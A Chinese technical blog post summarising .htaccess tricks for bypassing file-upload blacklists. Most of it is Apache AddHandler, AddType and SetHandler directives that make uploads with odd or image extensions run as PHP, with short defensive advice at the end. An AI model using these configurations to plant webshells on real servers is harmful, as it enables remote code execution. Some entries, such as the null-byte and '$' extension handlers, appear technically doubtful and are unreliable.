.htaccess 文件上传漏洞绕过总结

.htaccess 文件上传漏洞绕过总结

核心原理

通过 .htaccess 文件修改服务器配置,将非常规扩展名解析为可执行脚本(如 PHP),绕过文件上传黑名单限制。


一、关键配置指令(图片内容分析)

图片中列出的扩展名 和 MIME 类型可直接用于绕过:

apache 复制代码
# 将扩展名映射到 PHP 解析器
AddHandler application/x-httpd-php .rhtml .phtml .pht .phps .php3 .php3p .php4 .php5

# 或使用 AddType
AddType application/x-httpd-php .phtml .php3 .phps

二、扩展绕过技巧(实战增强)

1. 非常规扩展名
apache 复制代码
AddHandler application/x-httpd-php .abc .xyz .shell .test

效果 :上传 shell.abc 会被当作 PHP 执行。

2. 双扩展名绕过
apache 复制代码
AddHandler application/x-httpd-php .jpg.xyz

效果 :image.jpg.xyz 会被解析为 PHP。

3. 空字节截断(旧系统)
apache 复制代码
AddHandler application/x-httpd-php .php%00

效果 :上传 shell.php%00.jpg 可能被解析为 PHP(需 PHP<5.3)。

4. 大小写混淆
apache 复制代码
AddHandler application/x-httpd-php .PhP5 .pHtML

效果 :绕过对 php 的大小写检查。

5. 特殊前缀/后缀
apache 复制代码
AddHandler application/x-httpd-php .user.ini

效果 :利用 .user.ini 的 auto_prepend_file 执行代码。


三、MIME 类型绕过

apache 复制代码
# 伪造图片 MIME 类型
AddType application/x-httpd-php .jpg .png

# 或直接覆盖默认类型
RemoveHandler .jpg
AddHandler application/x-httpd-php .jpg

四、高级组合技

1. 嵌套解析绕过
apache 复制代码
<FilesMatch "\.hack$">
  SetHandler application/x-httpd-php
</FilesMatch>

效果 :所有 .hack 文件被解析为 PHP。

2. 动态扩展名
apache 复制代码
AddHandler application/x-httpd-php ."$"

效果:利用环境变量动态生成扩展名(需服务器支持)。


五、防御建议(管理员视角)

  1. 禁用 .htaccess 覆盖:

    apache 复制代码
    AllowOverride None
  2. 限制上传目录执行权限:

    apache 复制代码
    <Directory "/uploads">
       php_flag engine off
    </Directory>
  3. 严格文件类型检查:

    • 使用白名单验证扩展名 + MIME 类型 + 文件头签名。

总结流程图

复制代码
上传 .htaccess 文件
  │
  ├── 添加恶意扩展名(.phtml, .php5)
  │
  ├── 伪造 MIME 类型(image/jpg → PHP)
  │
  └── 上传伪装文件(shell.jpg.php5)
       │
       └── 服务器解析执行

通过灵活组合扩展名、MIME 类型和服务器配置规则,可绕过大多数基于黑名单的文件上传防护。

相关推荐
科技小登7 小时前
零信任与远程办公安全方案对比:身份认证、权限最小化与访问审计的选型测评
安全
懒人87 小时前
Windows11系统优化指南
windows·经验分享
Vex2une7 小时前
Windows 磁盘管理发展史:从 FDISK 分区表到存储池与虚拟磁盘
windows·gpt·磁盘管理·mbr·fdisk·动态磁盘·储存池
今夕资源网7 小时前
从夯到拉模拟器RankPix windows本地版 exe
windows·exe·从夯到拉·从夯到拉模拟器·rankpix·本地版
事圆则缓7 小时前
Kotlin 入门与面试:从空安全、扩展函数到协程
安全·面试·kotlin
kakakahahahaha8 小时前
Windows系统时间校准指南:time命令、date命令、w32tm /resync与CMOS排查
windows·笔记本电脑·软件需求
沫璃染墨8 小时前
《从零入门Linux系统篇(五十八):线程篇·十一——线程安全与死锁详解:从可重入到多锁管理》
linux·服务器·开发语言·c++·驱动开发·安全·架构
一条破秋裤8 小时前
01_字符设备基本概念_从分类到LED控制链路
开发语言·php
一技安身8 小时前
【mysql】Windows MySQL 8.4.10 绿色免安装喂饭教程
windows·mysql·adb
唐青枫8 小时前
别只会给页面加 ROLE_ADMIN:Symfony Security 从登录到资源授权实战
php·symfony